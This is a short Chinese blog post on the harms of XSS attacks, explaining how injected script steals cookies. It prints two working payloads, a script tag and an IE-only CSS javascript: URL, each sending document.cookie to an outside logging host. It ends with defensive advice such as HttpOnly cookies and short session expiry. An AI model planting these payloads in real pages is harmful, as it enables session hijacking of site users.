乐趣区

xss攻击危害分析二

窃取网页浏览中的 cookie 值

下面的的 JavaScript 代码就可以窃取 Cookie,是不是很简单?

<script>
    new Image().src =
        "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);
</script>

如果我可以将这段代码插入到某个登陆用户的页面,则 Cookie 就会通过 HTTP 请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在 IE 浏览器上,可以通过在 CSS 代码中执行 JavaScript 来窃取 Cookie,也很简单。

<style>
.getcookies{background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+ encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>

如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取 Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的 Cookie 都被窃取了。注意,是所有用户,对于这一点,我不想含糊其辞。

为了保证安全:请不停地重设 session 的重设;将过期时间设置短一些;监控 referrer 与 userAgent 的值;使用 HttpOnly 禁止脚本读取 Cookie。这些措施并非万无一失,但是增加了黑客的难度,因此也是有效的。

退出移动版